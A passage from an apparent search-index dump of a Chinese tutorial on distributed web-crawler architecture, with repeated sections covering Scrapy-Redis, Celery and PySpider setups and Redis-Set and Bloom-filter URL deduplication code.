ProxyPool W1 --\u003e|存储数据| MongoDB W2 --\u003e|存储数据| MongoDB W3 --\u003e|存储数据| MySQL WN --\u003e|存储数据| ES Workers --\u003e|缓存| Cache style Monitor fill:#4a90e2 style Redis fill:#e74c3c style MQ fill:#f39c12 style Workers fill:#27ae60 style ProxyPool fill:#9b59b6 style Storage fill:#3498db graph TB subgraph Admin[\"管理控制层\"] Monitor[监控中心Prometheus + Grafana━━━━━━━━• 爬取速度监控• 成功率统计• 队列长度告警• 节点健康检查] Config[配置中心Consul / etcd━━━━━━━━• 动态配置• 服务发现• 参数管理] end subgraph Master[\"任务调度中心 (Master)\"] Redis[Redis Cluster━━━━━━━━• 任务队列 (List/ZSet)• URL 去重 (Set/BloomFilter)• 分布式锁• 节点心跳] MQ[消息队列RabbitMQ / Kafka━━━━━━━━• 任务分发• 优先级调度• 持久化队列] end subgraph Workers[\"爬虫工作节点 (Workers)\"] W1[Worker 1━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W2[Worker 2━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W3[Worker 3━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] WN[Worker N━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] end subgraph Proxy[\"代理池\"] ProxyPool[IP 代理池━━━━━━━━• 代理轮换• 健康检查• 故障转移] end subgraph Storage[\"数据存储层\"] MongoDB[(MongoDB━━━━━━━━• 爬取数据• 灵活 Schema• 分片集群)] MySQL[(MySQL━━━━━━━━• 结构化数据• 事务支持)] ES[(Elasticsearch━━━━━━━━• 全文搜索• 实时分析)] Cache[(Redis Cache━━━━━━━━• 热数据缓存• 会话存储)] end Monitor -.监控.-\u003e Redis Monitor -.监控.-\u003e Workers Monitor -.监控.-\u003e Storage Config -.配置.-\u003e Workers Redis \u003c--\u003e|获取任务上报状态| W1 Redis \u003c--\u003e|获取任务上报状态| W2 Redis \u003c--\u003e|获取任务上报状态| W3 Redis \u003c--\u003e|获取任务上报状态| WN MQ --\u003e|任务分发| Workers W1 --\u003e|使用代理| ProxyPool W2 --\u003e|使用代理| ProxyPool W3 --\u003e|使用代理| ProxyPool WN --\u003e|使用代理| ProxyPool W1 --\u003e|存储数据| MongoDB W2 --\u003e|存储数据| MongoDB W3 --\u003e|存储数据| MySQL WN --\u003e|存储数据| ES Workers --\u003e|缓存| Cache style Monitor fill:#4a90e2 style Redis fill:#e74c3c style MQ fill:#f39c12 style Workers fill:#27ae60 style ProxyPool fill:#9b59b6 style Storage fill:#3498db graph TB subgraph Admin[\"管理控制层\"] Monitor[监控中心Prometheus + Grafana━━━━━━━━• 爬取速度监控• 成功率统计• 队列长度告警• 节点健康检查] Config[配置中心Consul / etcd━━━━━━━━• 动态配置• 服务发现• 参数管理] end subgraph Master[\"任务调度中心 (Master)\"] Redis[Redis Cluster━━━━━━━━• 任务队列 (List/ZSet)• URL 去重 (Set/BloomFilter)• 分布式锁• 节点心跳] MQ[消息队列RabbitMQ / Kafka━━━━━━━━• 任务分发• 优先级调度• 持久化队列] end subgraph Workers[\"爬虫工作节点 (Workers)\"] W1[Worker 1━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W2[Worker 2━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W3[Worker 3━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] WN[Worker N━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] end subgraph Proxy[\"代理池\"] ProxyPool[IP 代理池━━━━━━━━• 代理轮换• 健康检查• 故障转移] end subgraph Storage[\"数据存储层\"] MongoDB[(MongoDB━━━━━━━━• 爬取数据• 灵活 Schema• 分片集群)] MySQL[(MySQL━━━━━━━━• 结构化数据• 事务支持)] ES[(Elasticsearch━━━━━━━━• 全文搜索• 实时分析)] Cache[(Redis Cache━━━━━━━━• 热数据缓存• 会话存储)] end Monitor -.监控.-\u003e Redis Monitor -.监控.-\u003e Workers ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:2:2","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#scrapy-redis-分布式架构详解"},{"categories":null,"collections":null,"content":"核心原理 分布式爬虫的核心是解决以下几个关键问题： 任务调度：如何有效地将待爬取的 URL 分配给各个爬虫节点 URL 去重：如何在多节点环境下避免重复爬取同一个 URL 数据共享：如何让各节点共享任务队列、去重集合和配置信息 负载均衡：如何保证各节点的任务量相对均衡 故障恢复：如何处理节点故障，保证任务不丢失 典型架构 graph TB subgraph Admin[\"管理控制层\"] Monitor[监控中心Prometheus + Grafana━━━━━━━━• 爬取速度监控• 成功率统计• 队列长度告警• 节点健康检查] Config[配置中心Consul / etcd━━━━━━━━• 动态配置• 服务发现• 参数管理] end subgraph Master[\"任务调度中心 (Master)\"] Redis[Redis Cluster━━━━━━━━• 任务队列 (List/ZSet)• URL 去重 (Set/BloomFilter)• 分布式锁• 节点心跳] MQ[消息队列RabbitMQ / Kafka━━━━━━━━• 任务分发• 优先级调度• 持久化队列] end subgraph Workers[\"爬虫工作节点 (Workers)\"] W1[Worker 1━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W2[Worker 2━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W3[Worker 3━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] WN[Worker N━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] end subgraph Proxy[\"代理池\"] ProxyPool[IP 代理池━━━━━━━━• 代理轮换• 健康检查• 故障转移] end subgraph Storage[\"数据存储层\"] MongoDB[(MongoDB━━━━━━━━• 爬取数据• 灵活 Schema• 分片集群)] MySQL[(MySQL━━━━━━━━• 结构化数据• 事务支持)] ES[(Elasticsearch━━━━━━━━• 全文搜索• 实时分析)] Cache[(Redis Cache━━━━━━━━• 热数据缓存• 会话存储)] end Monitor -.监控.-\u003e Redis Monitor -.监控.-\u003e Workers Monitor -.监控.-\u003e Storage Config -.配置.-\u003e Workers Redis \u003c--\u003e|获取任务上报状态| W1 Redis \u003c--\u003e|获取任务上报状态| W2 Redis \u003c--\u003e|获取任务上报状态| W3 Redis \u003c--\u003e|获取任务上报状态| WN MQ --\u003e|任务分发| Workers W1 --\u003e|使用代理| ProxyPool W2 --\u003e|使用代理| ProxyPool W3 --\u003e|使用代理| ProxyPool WN --\u003e|使用代理| ProxyPool W1 --\u003e|存储数据| MongoDB W2 --\u003e|存储数据| MongoDB W3 --\u003e|存储数据| MySQL WN --\u003e|存储数据| ES Workers --\u003e|缓存| Cache style Monitor fill:#4a90e2 style Redis fill:#e74c3c style MQ fill:#f39c12 style Workers fill:#27ae60 style ProxyPool fill:#9b59b6 style Storage fill:#3498db graph TB subgraph Admin[\"管理控制层\"] Monitor[监控中心Prometheus + Grafana━━━━━━━━• 爬取速度监控• 成功率统计• 队列长度告警• 节点健康检查] Config[配置中心Consul / etcd━━━━━━━━• 动态配置• 服务发现• 参数管理] end subgraph Master[\"任务调度中心 (Master)\"] Redis[Redis Cluster━━━━━━━━• 任务队列 (List/ZSet)• URL 去重 (Set/BloomFilter)• 分布式锁• 节点心跳] MQ[消息队列RabbitMQ / Kafka━━━━━━━━• 任务分发• 优先级调度• 持久化队列] end subgraph Workers[\"爬虫工作节点 (Workers)\"] W1[Worker 1━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W2[Worker 2━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W3[Worker 3━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] WN[Worker N━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] end subgraph Proxy[\"代理池\"] ProxyPool[IP 代理池━━━━━━━━• 代理轮换• 健康检查• 故障转移] end subgraph Storage[\"数据存储层\"] MongoDB[(MongoDB━━━━━━━━• 爬取数据• 灵活 Schema• 分片集群)] MySQL[(MySQL━━━━━━━━• 结构化数据• 事务支持)] ES[(Elasticsearch━━━━━━━━• 全文搜索• 实时分析)] Cache[(Redis Cache━━━━━━━━• 热数据缓存• 会话存储)] end Monitor -.监控.-\u003e Redis Monitor -.监控.-\u003e Workers Monitor -.监控.-\u003e Storage Config -.配置.-\u003e Workers Redis \u003c--\u003e|获取任务上报状态| W1 Redis \u003c--\u003e|获取任务上报状态| W2 Redis \u003c--\u003e|获取任务上报状态| W3 Redis \u003c--\u003e|获取任务上报状态| WN MQ --\u003e|任务分发| Workers W1 --\u003e|使用代理| ProxyPool W2 --\u003e|使用代理| ProxyPool W3 --\u003e|使用代理| ProxyPool WN --\u003e|使用代理| ProxyPool W1 --\u003e|存储数据| MongoDB W2 --\u003e|存储数据| MongoDB W3 --\u003e|存储数据| MySQL WN --\u003e|存储数据| ES Workers --\u003e|缓存| Cache style Monitor fill:#4a90e2 style Redis fill:#e74c3c style MQ fill:#f39c12 style Workers fill:#27ae60 style ProxyPool fill:#9b59b6 style Storage fill:#3498db graph TB subgraph Admin[\"管理控制层\"] Monitor[监控中心Prometheus + Grafana━━━━━━━━• 爬取速度监控• 成功率统计• 队列长度告警• 节点健康检查] Config[配置中心Consul / etcd━━━━━━━━• 动态配置• 服务发现• 参数管理] end subgraph Master[\"任务调度中心 (Master)\"] Redis[Redis Cluster━━━━━━━━• 任务队列 (List/ZSet)• URL 去重 (Set/BloomFilter)• 分布式锁• 节点心跳] MQ[消息队列RabbitMQ / Kafka━━━━━━━━• 任务分发• 优先级调度• 持久化队列] end subgraph Workers[\"爬虫工作节点 (Workers)\"] W1[Worker 1━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W2[Worker 2━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] W3[Worker 3━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] WN[Worker N━━━━━━━━• Scrapy Engine• Downloader• Parser16 并发] end subgraph Proxy[\"代理池\"] ProxyPool[IP 代理池━━━━━━━━• 代理轮换• 健康检查• 故障转移] end subgraph Storage[\"数据存储层\"] MongoDB[(MongoDB━━━━━━━━• 爬取数据• 灵活 Schema• 分片集群)] MySQL[(MySQL━━━━━━━━• 结构化数据• 事务支持)] ES[(Elasticsearch━━━━━━━━• 全文搜索• 实时分析)] Cache[(Redis Cache━━━━━━━━• 热数据缓存• 会话存储)] end Monitor -.监控.-\u003e Redis Monitor -.监控.-\u003e Workers ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:2:2","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#url-去重策略对比"},{"categories":null,"collections":null,"content":"详细内容 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:0","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#详细内容"},{"categories":null,"collections":null,"content":"主流分布式爬虫框架 1. Scrapy-Redis Scrapy-Redis 是基于 Scrapy 的分布式扩展，使用 Redis 作为任务队列和去重数据库。 核心特性： 共享调度器：使用 Redis List 作为请求队列 分布式去重：使用 Redis Set 实现 URL 去重 持久化：任务队列持久化到 Redis，支持断点续爬 动态添加爬虫：可以随时启动或停止爬虫节点 基本配置： # settings.py # 启用 Scrapy-Redis 调度器 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" # 启用去重过滤器 DUPEFILTER_CLASS = \"scrapy_redis.dupefilter.RFPDupeFilter\" # 启用 Scrapy-Redis Pipeline ITEM_PIPELINES = { 'scrapy_redis.pipelines.RedisPipeline': 300 } # Redis 连接配置 REDIS_HOST = 'localhost' REDIS_PORT = 6379 # 队列持久化 SCHEDULER_PERSIST = True # 请求队列的键 SCHEDULER_QUEUE_KEY = '%(spider)s:requests' # 去重集合的键 SCHEDULER_DUPEFILTER_KEY = '%(spider)s:dupefilter' 爬虫实现： # spider.py from scrapy_redis.spiders import RedisSpider class MySpider(RedisSpider): name = 'myspider' redis_key = 'myspider:start_urls' def parse(self, response): # 解析逻辑 for item in self.extract_items(response): yield item # 提取新的 URL for url in response.css('a::attr(href)').getall(): yield response.follow(url, self.parse) 启动方式： # 在多台机器上启动爬虫 scrapy crawl myspider # 向 Redis 添加起始 URL redis-cli lpush myspider:start_urls \"http://example.com\" 2. Celery + Scrapy Celery 是 Python 分布式任务队列框架，可以与 Scrapy 结合实现更灵活的任务调度。 架构特点： 异步任务：爬取任务以异步方式执行 任务重试：支持失败任务自动重试 定时任务：支持定时触发爬取任务 监控管理：使用 Flower 监控任务状态 配置示例： # celery_app.py from celery import Celery app = Celery('crawler', broker='redis://localhost:6379/0', backend='redis://localhost:6379/0') app.conf.update( task_serializer='json', result_serializer='json', accept_content=['json'], timezone='Asia/Shanghai', enable_utc=True, ) @app.task(bind=True, max_retries=3) def crawl_task(self, url): \"\"\"爬取任务\"\"\" try: process = CrawlerProcess(get_project_settings()) process.crawl(MySpider, start_urls=[url]) process.start() except Exception as exc: raise self.retry(exc=exc, countdown=60) 启动 Worker： # 启动 Celery Worker celery -A celery_app worker --loglevel=info # 使用 Flower 监控 celery -A celery_app flower 3. PySpider PySpider 是一个自带 WebUI 的分布式爬虫框架。 主要特性： 可视化界面：Web UI 管理爬虫和查看结果 脚本编辑器：在线编辑和调试爬虫脚本 任务监控：实时查看爬取进度和状态 内置调度器：支持优先级调度和周期任务 简单示例： from pyspider.libs.base_handler import * class Handler(BaseHandler): crawl_config = { 'itag': 'v1', } @every(minutes=24 * 60) def on_start(self): self.crawl('http://example.com', callback=self.index_page) @config(age=10 * 24 * 60 * 60) def index_page(self, response): for each in response.doc('a[href^=\"http\"]').items(): self.crawl(each.attr.href, callback=self.detail_page) def detail_page(self, response): return { \"url\": response.url, \"title\": response.doc('title').text(), } ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:1","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#主流分布式爬虫框架"},{"categories":null,"collections":null,"content":"主流分布式爬虫框架 1. Scrapy-Redis Scrapy-Redis 是基于 Scrapy 的分布式扩展，使用 Redis 作为任务队列和去重数据库。 核心特性： 共享调度器：使用 Redis List 作为请求队列 分布式去重：使用 Redis Set 实现 URL 去重 持久化：任务队列持久化到 Redis，支持断点续爬 动态添加爬虫：可以随时启动或停止爬虫节点 基本配置： # settings.py # 启用 Scrapy-Redis 调度器 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" # 启用去重过滤器 DUPEFILTER_CLASS = \"scrapy_redis.dupefilter.RFPDupeFilter\" # 启用 Scrapy-Redis Pipeline ITEM_PIPELINES = { 'scrapy_redis.pipelines.RedisPipeline': 300 } # Redis 连接配置 REDIS_HOST = 'localhost' REDIS_PORT = 6379 # 队列持久化 SCHEDULER_PERSIST = True # 请求队列的键 SCHEDULER_QUEUE_KEY = '%(spider)s:requests' # 去重集合的键 SCHEDULER_DUPEFILTER_KEY = '%(spider)s:dupefilter' 爬虫实现： # spider.py from scrapy_redis.spiders import RedisSpider class MySpider(RedisSpider): name = 'myspider' redis_key = 'myspider:start_urls' def parse(self, response): # 解析逻辑 for item in self.extract_items(response): yield item # 提取新的 URL for url in response.css('a::attr(href)').getall(): yield response.follow(url, self.parse) 启动方式： # 在多台机器上启动爬虫 scrapy crawl myspider # 向 Redis 添加起始 URL redis-cli lpush myspider:start_urls \"http://example.com\" 2. Celery + Scrapy Celery 是 Python 分布式任务队列框架，可以与 Scrapy 结合实现更灵活的任务调度。 架构特点： 异步任务：爬取任务以异步方式执行 任务重试：支持失败任务自动重试 定时任务：支持定时触发爬取任务 监控管理：使用 Flower 监控任务状态 配置示例： # celery_app.py from celery import Celery app = Celery('crawler', broker='redis://localhost:6379/0', backend='redis://localhost:6379/0') app.conf.update( task_serializer='json', result_serializer='json', accept_content=['json'], timezone='Asia/Shanghai', enable_utc=True, ) @app.task(bind=True, max_retries=3) def crawl_task(self, url): \"\"\"爬取任务\"\"\" try: process = CrawlerProcess(get_project_settings()) process.crawl(MySpider, start_urls=[url]) process.start() except Exception as exc: raise self.retry(exc=exc, countdown=60) 启动 Worker： # 启动 Celery Worker celery -A celery_app worker --loglevel=info # 使用 Flower 监控 celery -A celery_app flower 3. PySpider PySpider 是一个自带 WebUI 的分布式爬虫框架。 主要特性： 可视化界面：Web UI 管理爬虫和查看结果 脚本编辑器：在线编辑和调试爬虫脚本 任务监控：实时查看爬取进度和状态 内置调度器：支持优先级调度和周期任务 简单示例： from pyspider.libs.base_handler import * class Handler(BaseHandler): crawl_config = { 'itag': 'v1', } @every(minutes=24 * 60) def on_start(self): self.crawl('http://example.com', callback=self.index_page) @config(age=10 * 24 * 60 * 60) def index_page(self, response): for each in response.doc('a[href^=\"http\"]').items(): self.crawl(each.attr.href, callback=self.detail_page) def detail_page(self, response): return { \"url\": response.url, \"title\": response.doc('title').text(), } ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:1","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#1-scrapy-redis"},{"categories":null,"collections":null,"content":"主流分布式爬虫框架 1. Scrapy-Redis Scrapy-Redis 是基于 Scrapy 的分布式扩展，使用 Redis 作为任务队列和去重数据库。 核心特性： 共享调度器：使用 Redis List 作为请求队列 分布式去重：使用 Redis Set 实现 URL 去重 持久化：任务队列持久化到 Redis，支持断点续爬 动态添加爬虫：可以随时启动或停止爬虫节点 基本配置： # settings.py # 启用 Scrapy-Redis 调度器 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" # 启用去重过滤器 DUPEFILTER_CLASS = \"scrapy_redis.dupefilter.RFPDupeFilter\" # 启用 Scrapy-Redis Pipeline ITEM_PIPELINES = { 'scrapy_redis.pipelines.RedisPipeline': 300 } # Redis 连接配置 REDIS_HOST = 'localhost' REDIS_PORT = 6379 # 队列持久化 SCHEDULER_PERSIST = True # 请求队列的键 SCHEDULER_QUEUE_KEY = '%(spider)s:requests' # 去重集合的键 SCHEDULER_DUPEFILTER_KEY = '%(spider)s:dupefilter' 爬虫实现： # spider.py from scrapy_redis.spiders import RedisSpider class MySpider(RedisSpider): name = 'myspider' redis_key = 'myspider:start_urls' def parse(self, response): # 解析逻辑 for item in self.extract_items(response): yield item # 提取新的 URL for url in response.css('a::attr(href)').getall(): yield response.follow(url, self.parse) 启动方式： # 在多台机器上启动爬虫 scrapy crawl myspider # 向 Redis 添加起始 URL redis-cli lpush myspider:start_urls \"http://example.com\" 2. Celery + Scrapy Celery 是 Python 分布式任务队列框架，可以与 Scrapy 结合实现更灵活的任务调度。 架构特点： 异步任务：爬取任务以异步方式执行 任务重试：支持失败任务自动重试 定时任务：支持定时触发爬取任务 监控管理：使用 Flower 监控任务状态 配置示例： # celery_app.py from celery import Celery app = Celery('crawler', broker='redis://localhost:6379/0', backend='redis://localhost:6379/0') app.conf.update( task_serializer='json', result_serializer='json', accept_content=['json'], timezone='Asia/Shanghai', enable_utc=True, ) @app.task(bind=True, max_retries=3) def crawl_task(self, url): \"\"\"爬取任务\"\"\" try: process = CrawlerProcess(get_project_settings()) process.crawl(MySpider, start_urls=[url]) process.start() except Exception as exc: raise self.retry(exc=exc, countdown=60) 启动 Worker： # 启动 Celery Worker celery -A celery_app worker --loglevel=info # 使用 Flower 监控 celery -A celery_app flower 3. PySpider PySpider 是一个自带 WebUI 的分布式爬虫框架。 主要特性： 可视化界面：Web UI 管理爬虫和查看结果 脚本编辑器：在线编辑和调试爬虫脚本 任务监控：实时查看爬取进度和状态 内置调度器：支持优先级调度和周期任务 简单示例： from pyspider.libs.base_handler import * class Handler(BaseHandler): crawl_config = { 'itag': 'v1', } @every(minutes=24 * 60) def on_start(self): self.crawl('http://example.com', callback=self.index_page) @config(age=10 * 24 * 60 * 60) def index_page(self, response): for each in response.doc('a[href^=\"http\"]').items(): self.crawl(each.attr.href, callback=self.detail_page) def detail_page(self, response): return { \"url\": response.url, \"title\": response.doc('title').text(), } ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:1","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#2-celery--scrapy"},{"categories":null,"collections":null,"content":"主流分布式爬虫框架 1. Scrapy-Redis Scrapy-Redis 是基于 Scrapy 的分布式扩展，使用 Redis 作为任务队列和去重数据库。 核心特性： 共享调度器：使用 Redis List 作为请求队列 分布式去重：使用 Redis Set 实现 URL 去重 持久化：任务队列持久化到 Redis，支持断点续爬 动态添加爬虫：可以随时启动或停止爬虫节点 基本配置： # settings.py # 启用 Scrapy-Redis 调度器 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" # 启用去重过滤器 DUPEFILTER_CLASS = \"scrapy_redis.dupefilter.RFPDupeFilter\" # 启用 Scrapy-Redis Pipeline ITEM_PIPELINES = { 'scrapy_redis.pipelines.RedisPipeline': 300 } # Redis 连接配置 REDIS_HOST = 'localhost' REDIS_PORT = 6379 # 队列持久化 SCHEDULER_PERSIST = True # 请求队列的键 SCHEDULER_QUEUE_KEY = '%(spider)s:requests' # 去重集合的键 SCHEDULER_DUPEFILTER_KEY = '%(spider)s:dupefilter' 爬虫实现： # spider.py from scrapy_redis.spiders import RedisSpider class MySpider(RedisSpider): name = 'myspider' redis_key = 'myspider:start_urls' def parse(self, response): # 解析逻辑 for item in self.extract_items(response): yield item # 提取新的 URL for url in response.css('a::attr(href)').getall(): yield response.follow(url, self.parse) 启动方式： # 在多台机器上启动爬虫 scrapy crawl myspider # 向 Redis 添加起始 URL redis-cli lpush myspider:start_urls \"http://example.com\" 2. Celery + Scrapy Celery 是 Python 分布式任务队列框架，可以与 Scrapy 结合实现更灵活的任务调度。 架构特点： 异步任务：爬取任务以异步方式执行 任务重试：支持失败任务自动重试 定时任务：支持定时触发爬取任务 监控管理：使用 Flower 监控任务状态 配置示例： # celery_app.py from celery import Celery app = Celery('crawler', broker='redis://localhost:6379/0', backend='redis://localhost:6379/0') app.conf.update( task_serializer='json', result_serializer='json', accept_content=['json'], timezone='Asia/Shanghai', enable_utc=True, ) @app.task(bind=True, max_retries=3) def crawl_task(self, url): \"\"\"爬取任务\"\"\" try: process = CrawlerProcess(get_project_settings()) process.crawl(MySpider, start_urls=[url]) process.start() except Exception as exc: raise self.retry(exc=exc, countdown=60) 启动 Worker： # 启动 Celery Worker celery -A celery_app worker --loglevel=info # 使用 Flower 监控 celery -A celery_app flower 3. PySpider PySpider 是一个自带 WebUI 的分布式爬虫框架。 主要特性： 可视化界面：Web UI 管理爬虫和查看结果 脚本编辑器：在线编辑和调试爬虫脚本 任务监控：实时查看爬取进度和状态 内置调度器：支持优先级调度和周期任务 简单示例： from pyspider.libs.base_handler import * class Handler(BaseHandler): crawl_config = { 'itag': 'v1', } @every(minutes=24 * 60) def on_start(self): self.crawl('http://example.com', callback=self.index_page) @config(age=10 * 24 * 60 * 60) def index_page(self, response): for each in response.doc('a[href^=\"http\"]').items(): self.crawl(each.attr.href, callback=self.detail_page) def detail_page(self, response): return { \"url\": response.url, \"title\": response.doc('title').text(), } ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:1","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#3-pyspider"},{"categories":null,"collections":null,"content":"URL 去重策略 1. 基于 Redis Set 原理：使用 Redis 的 Set 数据结构存储已爬取的 URL 的哈希值。 优点： 实现简单 查询速度快（O(1)） 支持分布式 缺点： 内存占用大（1 亿 URL 约需 4-8 GB） 实现示例： import redis import hashlib class RedisDeduplicator: def __init__(self, host='localhost', port=6379): self.r = redis.Redis(host=host, port=port) self.key = 'crawler:urls' def url_hash(self, url): \"\"\"计算 URL 哈希\"\"\" return hashlib.md5(url.encode()).hexdigest() def is_duplicate(self, url): \"\"\"检查 URL 是否重复\"\"\" url_hash = self.url_hash(url) return self.r.sismember(self.key, url_hash) def add_url(self, url): \"\"\"添加 URL 到去重集合\"\"\" url_hash = self.url_hash(url) return self.r.sadd(self.key, url_hash) def check_and_add(self, url): \"\"\"检查并添加（原子操作）\"\"\" url_hash = self.url_hash(url) # 返回 1 表示新 URL，0 表示重复 return self.r.sadd(self.key, url_hash) == 1 2. 基于 Bloom Filter（布隆过滤器） 原理：使用多个哈希函数将 URL 映射到位数组，空间效率极高但存在一定误判率。 优点： 内存占用极小（1 亿 URL 约需 120 MB，误判率 0.1%） 查询速度快 适合海量数据去重 缺点： 存在误判（可能将未爬取的 URL 误判为已爬取） 无法删除已添加的元素 参数配置建议： 数据量 位数组大小 (bit) 哈希函数个数 误判率 内存占用 1000 万 2^27 (128M) 6 0.1% 16 MB 1 亿 2^30 (1G) 6 0.1% 128 MB 10 亿 2^33 (8G) 7 0.01% 1 GB 实现示例： # 安装：pip install scrapy-redis-bloomfilter # settings.py DUPEFILTER_CLASS = 'scrapy_redis_bloomfilter.dupefilter.RFPDupeFilter' # BloomFilter 配置 BLOOMFILTER_HASH_NUMBER = 6 # 哈希函数个数 BLOOMFILTER_BIT = 30 # 位数组大小 2^30 (约1G) # Redis 配置 REDIS_HOST = 'localhost' REDIS_PORT = 6379 手动实现 Bloom Filter： import redis import mmh3 # pip install mmh3 class BloomFilter: def __init__(self, host='localhost', port=6379, bit_size=30, hash_count=6): self.r = redis.Redis(host=host, port=port) self.key = 'crawler:bloomfilter' self.bit_size = bit_size self.hash_count = hash_count self.size = 1 \u003c\u003c bit_size # 2^bit_size def _hash(self, url): \"\"\"生成多个哈希值\"\"\" hashes = [] for i in range(self.hash_count): hash_val = mmh3.hash(url, i) % self.size hashes.append(hash_val) return hashes def add(self, url): \"\"\"添加 URL\"\"\" for hash_val in self._hash(url): self.r.setbit(self.key, hash_val, 1) def contains(self, url): \"\"\"检查 URL 是否存在\"\"\" for hash_val in self._hash(url): if not self.r.getbit(self.key, hash_val): return False return True def check_and_add(self, url): \"\"\"检查并添加\"\"\" if self.contains(url): return False # 已存在（或误判） self.add(url) return True # 新 URL 3. 基于 Berkeley DB / LevelDB 适用场景：URL 数量特别大，需要持久化存储。 优点： 支持磁盘存储，不受内存限制 支持高效的键值查询 缺点： 速度比 Redis 慢 需要磁盘 I/O ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:2","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#url-去重策略"},{"categories":null,"collections":null,"content":"URL 去重策略 1. 基于 Redis Set 原理：使用 Redis 的 Set 数据结构存储已爬取的 URL 的哈希值。 优点： 实现简单 查询速度快（O(1)） 支持分布式 缺点： 内存占用大（1 亿 URL 约需 4-8 GB） 实现示例： import redis import hashlib class RedisDeduplicator: def __init__(self, host='localhost', port=6379): self.r = redis.Redis(host=host, port=port) self.key = 'crawler:urls' def url_hash(self, url): \"\"\"计算 URL 哈希\"\"\" return hashlib.md5(url.encode()).hexdigest() def is_duplicate(self, url): \"\"\"检查 URL 是否重复\"\"\" url_hash = self.url_hash(url) return self.r.sismember(self.key, url_hash) def add_url(self, url): \"\"\"添加 URL 到去重集合\"\"\" url_hash = self.url_hash(url) return self.r.sadd(self.key, url_hash) def check_and_add(self, url): \"\"\"检查并添加（原子操作）\"\"\" url_hash = self.url_hash(url) # 返回 1 表示新 URL，0 表示重复 return self.r.sadd(self.key, url_hash) == 1 2. 基于 Bloom Filter（布隆过滤器） 原理：使用多个哈希函数将 URL 映射到位数组，空间效率极高但存在一定误判率。 优点： 内存占用极小（1 亿 URL 约需 120 MB，误判率 0.1%） 查询速度快 适合海量数据去重 缺点： 存在误判（可能将未爬取的 URL 误判为已爬取） 无法删除已添加的元素 参数配置建议： 数据量 位数组大小 (bit) 哈希函数个数 误判率 内存占用 1000 万 2^27 (128M) 6 0.1% 16 MB 1 亿 2^30 (1G) 6 0.1% 128 MB 10 亿 2^33 (8G) 7 0.01% 1 GB 实现示例： # 安装：pip install scrapy-redis-bloomfilter # settings.py DUPEFILTER_CLASS = 'scrapy_redis_bloomfilter.dupefilter.RFPDupeFilter' # BloomFilter 配置 BLOOMFILTER_HASH_NUMBER = 6 # 哈希函数个数 BLOOMFILTER_BIT = 30 # 位数组大小 2^30 (约1G) # Redis 配置 REDIS_HOST = 'localhost' REDIS_PORT = 6379 手动实现 Bloom Filter： import redis import mmh3 # pip install mmh3 class BloomFilter: def __init__(self, host='localhost', port=6379, bit_size=30, hash_count=6): self.r = redis.Redis(host=host, port=port) self.key = 'crawler:bloomfilter' self.bit_size = bit_size self.hash_count = hash_count self.size = 1 \u003c\u003c bit_size # 2^bit_size def _hash(self, url): \"\"\"生成多个哈希值\"\"\" hashes = [] for i in range(self.hash_count): hash_val = mmh3.hash(url, i) % self.size hashes.append(hash_val) return hashes def add(self, url): \"\"\"添加 URL\"\"\" for hash_val in self._hash(url): self.r.setbit(self.key, hash_val, 1) def contains(self, url): \"\"\"检查 URL 是否存在\"\"\" for hash_val in self._hash(url): if not self.r.getbit(self.key, hash_val): return False return True def check_and_add(self, url): \"\"\"检查并添加\"\"\" if self.contains(url): return False # 已存在（或误判） self.add(url) return True # 新 URL 3. 基于 Berkeley DB / LevelDB 适用场景：URL 数量特别大，需要持久化存储。 优点： 支持磁盘存储，不受内存限制 支持高效的键值查询 缺点： 速度比 Redis 慢 需要磁盘 I/O 